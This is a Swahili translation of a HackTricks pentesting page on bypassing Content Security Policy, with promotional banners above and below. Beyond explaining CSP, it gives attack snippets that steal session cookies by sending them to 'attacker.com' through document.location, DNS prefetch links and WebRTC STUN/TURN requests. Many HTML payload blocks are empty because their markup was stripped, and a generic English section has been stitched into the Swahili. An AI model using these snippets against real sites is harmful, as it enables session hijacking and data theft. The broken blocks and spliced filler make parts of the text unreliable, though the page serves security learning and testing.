# Kizuizi cha Usalama wa Yaliyomo (CSP) Kupitisha
Jifunze kuhusu kuhacki AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kuhacki kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wahacki wenye uzoefu na wawindaji wa zawadi za bug! **Machapisho ya Kuhacki**\ Shiriki na yaliyomo yanayochimba kina katika msisimko na changamoto za kuhacki **Taarifa za Kuhacki za Muda Halisi**\ Kaa sawa na ulimwengu wa kuhacki wenye kasi kupitia habari za muda halisi na ufahamu **Matangazo ya Karibuni**\ Baki mwelekezwa na zawadi mpya za bug zinazoanzishwa na sasisho muhimu za jukwaa **Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wahacki bora leo! ## Ni Nini CSP Kizuizi cha Usalama wa Yaliyomo (CSP) kinatambuliwa kama teknolojia ya kivinjari, iliyolenga hasa **kulinda dhidi ya mashambulizi kama vile udukuzi wa tovuti nyingine (XSS)**. Kinafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakiwa kwa usalama na kivinjari. Rasilimali hizi zinajumuisha vitu mbalimbali kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu kupakia na kutekeleza rasilimali kutoka kwa kikoa kile kile (self), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa nambari ya mstari kupitia kazi kama vile `eval`, `setTimeout`, au `setInterval`. Utekelezaji wa CSP unafanywa kupitia **vichwa vya majibu** au kwa kuingiza **vipengele vya meta kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari hutekeleza masharti haya kwa ufanisi na kuzuia mara moja uvunjaji wowote uliogunduliwa. * Imetekelezwa kupitia kichwa cha majibu: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` * Imetekelezwa kupitia lebo ya meta: ```xml ``` ### Vichwa CSP inaweza kutekelezwa au kufuatiliwa kwa kutumia vichwa hivi: * `Content-Security-Policy`: Inatekeleza CSP; kivinjari kinazuia uvunjaji wowote. * `Content-Security-Policy-Report-Only`: Hutumika kwa ufuatiliaji; inaripoti uvunjaji bila kuwazuia. Ni bora kwa ajili ya majaribio katika mazingira ya awali ya uzalishaji. ### Kutambua Rasilmali CSP inazuia asili za kupakia yaliyo hai na yaliyo pasipo hai, ikidhibiti mambo kama utekelezaji wa JavaScript ya ndani na matumizi ya `eval()`. Sera ya mfano ni: ```bash default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### Maelekezo * **script-src**: Inaruhusu vyanzo maalum vya JavaScript, ikiwa ni pamoja na URLs, scripts za ndani, na scripts zinazosababishwa na wakati wa matukio au XSLT stylesheets. * **default-src**: Inaweka sera ya msingi kwa kupata rasilimali wakati maelekezo maalum ya kupata hayapo. * **child-src**: Inabainisha rasilimali zinazoruhusiwa kwa wafanyakazi wa mtandao na maudhui ya fremu zilizojumuishwa. * **connect-src**: Inazuia URLs ambazo zinaweza kupakia kutumia interfaces kama fetch, WebSocket, XMLHttpRequest. * **frame-src**: Inazuia URLs kwa fremu. * **frame-ancestors**: Inabainisha ni vyanzo vipi vinaweza kujumuisha ukurasa wa sasa, inayotumika kwa vipengele kama ``, ` // The bot will load an URL with the payload ``` ### Kupitia Bookmarklets Shambulizi hili lingehusisha uhandisi wa kijamii ambapo mkaidi **anamshawishi mtumiaji kuhamisha na kuachia kiungo juu ya bookmarklet ya kivinjari**. Bookmarklet hii ingejumuisha **msimbo wa javascript wenye nia mbaya** ambao unapohamishwa au bonyezwa ungeendeshwa katika muktadha wa dirisha la wavuti la sasa, **kipuuzia CSP na kuruhusu kuiba taarifa nyeti** kama vile vidakuzi au vitufe. Kwa maelezo zaidi [**angalia ripoti ya asili hapa**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### Kupitisha CSP kwa kuzuia CSP Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inapitishwa kwa kuingiza ndani ya fremu iliyoruhusiwa CSP inayozuia zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **uchafuzi wa protini** au **dom clobbering** iliruhusu **kutumia hati tofauti kupakia hati ya aina yoyote**. Unaweza **kuzuia CSP ya Iframe** kwa kutumia sifa ya **`csp`**: {% code overflow="wrap" %} ```html ``` {% endcode %} Katika [**hii CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), ilikuwa inawezekana kupitia **HTML injection** kurekebisha zaidi **CSP** ili script inayozuia CSTI ifungwe na hivyo **kuwezesha kutumia udhaifu.**\ CSP inaweza kuwa ngumu zaidi kutumia **HTML meta tags** na inline scripts zinaweza kufungwa **kwa kuondoa** **ingizo** kuruhusu **nonce** yao na **kuruhusu script maalum ya inline kupitia sha**: ```html ``` ### Uchunguzi wa JS na Kichwa cha Usalama wa Yaliyomo-Uwasilishaji-Ripoti-Pekee Ikiwa unaweza kufanikiwa kufanya seva itoe kichwa **`Content-Security-Policy-Report-Only`** na **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze seva yako na ikiwa **unafunga** **maudhui ya JS** unayotaka kuchukua na **`` kumbuka kuwa **script** hii ita**pakia** kwa sababu ime**ruhusiwa na 'self'**. Zaidi ya hayo, na kwa sababu WordPress imefungwa, mshambuliaji anaweza kutumia **shambulio la BAADHI** kupitia mwisho wa **wito** ulio hatarini ambao **unapita kwa CSP** kutoa mamlaka zaidi kwa mtumiaji, kusakinisha programu jalizi mpya...\ Kwa maelezo zaidi kuhusu jinsi ya kutekeleza shambulio hili angalia [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## Kupita Kizuizi cha CSP cha Kufichua Ikiwa kuna CSP kali ambayo haikuruhusu **kuingiliana na seva za nje**, kuna mambo kadhaa unaweza kufanya daima kufichua habari. ### Mahali Unaweza tu kusasisha mahali kutuma kwa seva ya mshambuliaji habari ya siri: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` ### Lebo ya Meta Unaweza kuendeleza kwa kuingiza lebo ya meta (hii ni tu kuelekeza, haitavuja maudhui) ```html ``` ### DNS Prefetch Ili kupakia kurasa haraka, vivinjari vitahakikisha kutatua majina ya mwenyeji kuwa anwani za IP na kuzihifadhi kwa matumizi ya baadaye.\ Unaweza kuashiria kivinjari kutatua mwenyeji kwa kutumia: `` Unaweza kutumia tabia hii kwa **kuvuja taarifa nyeti kupitia maombi ya DNS**: ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` ### Bypassing CSP using Untrusted Directives #### Introduction In some cases, the Content Security Policy (CSP) may include directives that are not properly configured or are too permissive, allowing for potential bypasses. By identifying and exploiting these untrusted directives, an attacker may be able to execute malicious scripts or access unauthorized resources on the target web application. #### Steps to Bypass CSP using Untrusted Directives 1. **Identify Untrusted Directives**: Use tools like Burp Suite or Chrome Developer Tools to analyze the CSP headers and identify any directives that are not properly configured or are too permissive. 2. **Exploit Untrusted Directives**: Once the untrusted directives are identified, attempt to exploit them by crafting malicious payloads that leverage the misconfigurations to execute arbitrary code or access restricted resources. 3. **Test the Bypass**: Verify the success of the bypass by sending the crafted payloads and observing the behavior of the web application. If the payloads are executed successfully despite the CSP, the bypass is effective. #### Conclusion Bypassing CSP using untrusted directives can be a powerful technique in scenarios where the policy is not properly configured. By carefully analyzing and exploiting these misconfigurations, an attacker can potentially bypass the security controls implemented by the CSP and carry out malicious activities on the target web application. ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` Ili kuepuka hili kutokea, server inaweza kutuma HTTP header: ``` X-DNS-Prefetch-Control: off ``` {% hint style="info" %} Inavyoonekana, mbinu hii haifanyi kazi kwenye vivinjari visivyo na kichwa (bots) {% endhint %} ### WebRTC Kwenye kurasa kadhaa unaweza kusoma kwamba **WebRTC haitathmini sera ya `connect-src`** ya CSP. Kwa kweli unaweza _kuvuja_ taarifa kwa kutumia _ombi la DNS_. Angalia msimbo huu: ```javascript (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})() ``` Njia nyingine: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ {"urls":[ "turn:74.125.140.127:19305?transport=udp" ],"username":"_all_your_data_belongs_to_us", "credential":"." }] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ## Kuangalia Sera za CSP Mkondoni * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## Kiotomatiki Kuunda CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) ## Marejeo * [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) * [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) * [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) * [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) * [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) * [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) * [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) ​
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu! **Machapisho ya Udukuzi**\ Shiriki na maudhui yanayochimba kina cha udukuzi na changamoto zake **Taarifa za Udukuzi za Wakati Halisi**\ Kaa up-to-date na ulimwengu wa udukuzi wenye kasi kupitia habari za wakati halisi na ufahamu **Matangazo ya Karibuni**\ Baki mwelekezi na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa **Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.